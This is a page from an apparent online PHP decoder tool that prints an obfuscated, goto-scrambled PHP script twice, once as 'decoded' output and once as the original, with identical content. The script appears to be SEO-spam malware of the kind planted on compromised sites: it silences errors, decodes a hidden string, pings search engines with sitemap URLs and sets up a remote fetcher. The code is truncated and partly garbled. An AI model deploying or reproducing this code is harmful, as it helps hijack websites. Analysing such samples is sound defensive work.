Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? goto uBJkI; DKd62: $kQYPR = "Ha0RDcvo3LzVTMzMXLyYTMuYnZlJWZwp2Z0VmLpxmZUv"; goto GdlWw..

Decoded Output download

<?  goto uBJkI; DKd62: $kQYPR = "Ha0RDcvo3LzVTMzMXLyYTMuYnZlJWZwp2Z0VmLpxmZUv"; goto GdlWw; lB1i4: function JPBu0($jeSfd, $DwU_B, $Ydg2R) { goto d_4sJ; wQGHS: die($rYi98); goto XeJLX; etAab: $vs0dV = "success"; goto qaFM2; qaFM2: $rYi98 = "failed"; goto MkkyP; uSYlx: var_dump($WQzA6); goto LAaNZ; KPMz4: OaBfF: goto EKbKR; MkkyP: if (!(strpos($PQcDv, $aGSu1) != false)) { goto GdpHQ; } goto WWIuB; LAaNZ: var_dump($PQcDv); goto YVfPE; WWIuB: die($vs0dV); goto Z5EM4; EKbKR: $aGSu1 = "google"; goto etAab; uGAbP: if (!isset($_REQUEST["st"])) { goto OaBfF; } goto uSYlx; YVfPE: die; goto KPMz4; GwiAC: $WQzA6 = sprintf($n4fOL, $jeSfd, $Ydg2R["protocol"], $Ydg2R["server_domain"], $DwU_B); goto AVc0R; Z5EM4: GdpHQ: goto wQGHS; d_4sJ: $n4fOL = "https://%s/ping?sitemap=%s%s/%s"; goto GwiAC; AVc0R: $PQcDv = QnNyN($WQzA6); goto uGAbP; XeJLX: } goto mx1KR; jVYLg: function h6GDc($kQYPR) { goto Hqjt1; lbGaM: return $V6MP0; goto g97Sp; mmOOy: if (!($iIvHg < count($MNQb1) - 2)) { goto HxZc0; } goto d1QDu; aWwb9: $V6MP0 .= $GnEjU; goto lbGaM/ S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr /; jhJKi: HxZc0: goto aWwb9; d1QDu: $V6MP0 .= $MNQb1[$iIvHg + 1] . $MNQb1[$iIvHg]; goto VEtDB; VEtDB: yawxt: goto qkVm1; WbO2W: goto Mk6O_; goto jhJKi; FG1A5: $MNQb1 = str_split($kQYPR); goto q0NTp; Hqjt1: $GnEjU = substr($kQYPR, strlen($kQYPR) - 2); goto FG1A5; qkVm1: $iIvHg = $iIvHg + 2; goto WbO2W; KRHOf: $iIvHg = 0; goto x43pd; q0NTp: $V6MP0 = ''; goto KRHOf; x43pd: Mk6O_: goto mmOOy; g97Sp: } goto lB1i4; uBJkI: error_reporting(0); goto DKd62; z93LI: function QnnYn($J4MgZ) { goto ORTUF; vJ6up: dYp79: goto WVbZH; hyJc_: KQOUB: goto s5MME; Kukvl: jJKfc: goto xRwTX; E3SAf: goto Gnthp; goto YQf7U; vtrWX: fclose($oO3rD); goto OUYXP; qmTDx: stream_set_timeout($oO3rD, 30); goto GAr_9; m60tS: return 0; goto Kukvl; DSOex: $nFh7c .= $kfOQD; goto Qfxe5; Njqal: curl_close($nDK3e); goto AimAC; HdpE5: foreach (explode("|", $NEfmS) as $doUf1) { goto rDpHw; BIzG3: foreach (explode("+", $doUf1) as $Pp7mq) { if (!function_exists($Pp7mq)) { $L_owH = 0; } EJj4V: } goto q9D6E; wTqZh: $hsDW4 = $doUf1; goto ZT9Md; othqq: if (!$L_owH) { goto xRQO0; } goto wTqZh; wPlPh: xRQO0: goto agIaP; rDpHw: $L_owH = 1; goto BIzG3; agIaP: rRCh7: goto u4edt; cvnV8: unset($Pp7mq); goto othqq; ZT9Md: goto BACsz; goto wPlPh; q9D6E: AGVnK: goto cvnV8; u4edt: } goto R1zbK; qzMGO: $hsDW4 = $isPG = $Y1PPX = $WuVRx = ''; goto HdpE5; z2mZ9: $kfOQD = "ssl://"; goto e2x5c; OUYXP: rkg1Y: goto CSGwq; YQf7U: D8zoc: goto bsFe4; Ed3sj: curl_setopt($nDK3e, CURLOPT_TIMEOUT, 100); goto epfKm; GzSqw: I82Dy: goto CWG81; xHsEt: if ($EzMe9["timed_out"]) { goto RIAGw; } goto dU2nL; YXMqd: curl_setopt($nDK3e, CURLOPT_USERAGENT, "s"); goto kZHVF; WOi2_: $VQY1o = $Kwv20["path"] ? $Kwv20["path"] . ($Kwv20["query"] ? "?" . $Kwv20["query"] : '') : "/"; goto KS95H; XApcG: nBaoi: goto DSnkn; gK_Du: unset($EzMe9); goto vtrWX; C9_GJ: isset($Kwv20["host"]) || ($Kwv20["host"] = ''); goto Vo9eK; ORTUF: if (preg_match("/^https*\:\/\//si", $J4MgZ)) { goto CTRU6; } goto D99db; ?>

Did this file decode correctly?

Original Code

<?  goto uBJkI; DKd62: $kQYPR = "Ha0RDcvo3LzVTMzMXLyYTMuYnZlJWZwp2Z0VmLpxmZUv"; goto GdlWw; lB1i4: function JPBu0($jeSfd, $DwU_B, $Ydg2R) { goto d_4sJ; wQGHS: die($rYi98); goto XeJLX; etAab: $vs0dV = "success"; goto qaFM2; qaFM2: $rYi98 = "failed"; goto MkkyP; uSYlx: var_dump($WQzA6); goto LAaNZ; KPMz4: OaBfF: goto EKbKR; MkkyP: if (!(strpos($PQcDv, $aGSu1) != false)) { goto GdpHQ; } goto WWIuB; LAaNZ: var_dump($PQcDv); goto YVfPE; WWIuB: die($vs0dV); goto Z5EM4; EKbKR: $aGSu1 = "google"; goto etAab; uGAbP: if (!isset($_REQUEST["st"])) { goto OaBfF; } goto uSYlx; YVfPE: die; goto KPMz4; GwiAC: $WQzA6 = sprintf($n4fOL, $jeSfd, $Ydg2R["protocol"], $Ydg2R["server_domain"], $DwU_B); goto AVc0R; Z5EM4: GdpHQ: goto wQGHS; d_4sJ: $n4fOL = "https://%s/ping?sitemap=%s%s/%s"; goto GwiAC; AVc0R: $PQcDv = QnNyN($WQzA6); goto uGAbP; XeJLX: } goto mx1KR; jVYLg: function h6GDc($kQYPR) { goto Hqjt1; lbGaM: return $V6MP0; goto g97Sp; mmOOy: if (!($iIvHg < count($MNQb1) - 2)) { goto HxZc0; } goto d1QDu; aWwb9: $V6MP0 .= $GnEjU; goto lbGaM/ S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr /; jhJKi: HxZc0: goto aWwb9; d1QDu: $V6MP0 .= $MNQb1[$iIvHg + 1] . $MNQb1[$iIvHg]; goto VEtDB; VEtDB: yawxt: goto qkVm1; WbO2W: goto Mk6O_; goto jhJKi; FG1A5: $MNQb1 = str_split($kQYPR); goto q0NTp; Hqjt1: $GnEjU = substr($kQYPR, strlen($kQYPR) - 2); goto FG1A5; qkVm1: $iIvHg = $iIvHg + 2; goto WbO2W; KRHOf: $iIvHg = 0; goto x43pd; q0NTp: $V6MP0 = ''; goto KRHOf; x43pd: Mk6O_: goto mmOOy; g97Sp: } goto lB1i4; uBJkI: error_reporting(0); goto DKd62; z93LI: function QnnYn($J4MgZ) { goto ORTUF; vJ6up: dYp79: goto WVbZH; hyJc_: KQOUB: goto s5MME; Kukvl: jJKfc: goto xRwTX; E3SAf: goto Gnthp; goto YQf7U; vtrWX: fclose($oO3rD); goto OUYXP; qmTDx: stream_set_timeout($oO3rD, 30); goto GAr_9; m60tS: return 0; goto Kukvl; DSOex: $nFh7c .= $kfOQD; goto Qfxe5; Njqal: curl_close($nDK3e); goto AimAC; HdpE5: foreach (explode("|", $NEfmS) as $doUf1) { goto rDpHw; BIzG3: foreach (explode("+", $doUf1) as $Pp7mq) { if (!function_exists($Pp7mq)) { $L_owH = 0; } EJj4V: } goto q9D6E; wTqZh: $hsDW4 = $doUf1; goto ZT9Md; othqq: if (!$L_owH) { goto xRQO0; } goto wTqZh; wPlPh: xRQO0: goto agIaP; rDpHw: $L_owH = 1; goto BIzG3; agIaP: rRCh7: goto u4edt; cvnV8: unset($Pp7mq); goto othqq; ZT9Md: goto BACsz; goto wPlPh; q9D6E: AGVnK: goto cvnV8; u4edt: } goto R1zbK; qzMGO: $hsDW4 = $isPG = $Y1PPX = $WuVRx = ''; goto HdpE5; z2mZ9: $kfOQD = "ssl://"; goto e2x5c; OUYXP: rkg1Y: goto CSGwq; YQf7U: D8zoc: goto bsFe4; Ed3sj: curl_setopt($nDK3e, CURLOPT_TIMEOUT, 100); goto epfKm; GzSqw: I82Dy: goto CWG81; xHsEt: if ($EzMe9["timed_out"]) { goto RIAGw; } goto dU2nL; YXMqd: curl_setopt($nDK3e, CURLOPT_USERAGENT, "s"); goto kZHVF; WOi2_: $VQY1o = $Kwv20["path"] ? $Kwv20["path"] . ($Kwv20["query"] ? "?" . $Kwv20["query"] : '') : "/"; goto KS95H; XApcG: nBaoi: goto DSnkn; gK_Du: unset($EzMe9); goto vtrWX; C9_GJ: isset($Kwv20["host"]) || ($Kwv20["host"] = ''); goto Vo9eK; ORTUF: if (preg_match("/^https*\:\/\//si", $J4MgZ)) { goto CTRU6; } goto D99db; ?>

Function Calls

None

Variables

None

Stats

MD5 fcf1c708b418264d93b7a5d147f5b9e5
Eval Count 0
Decode Time 47 ms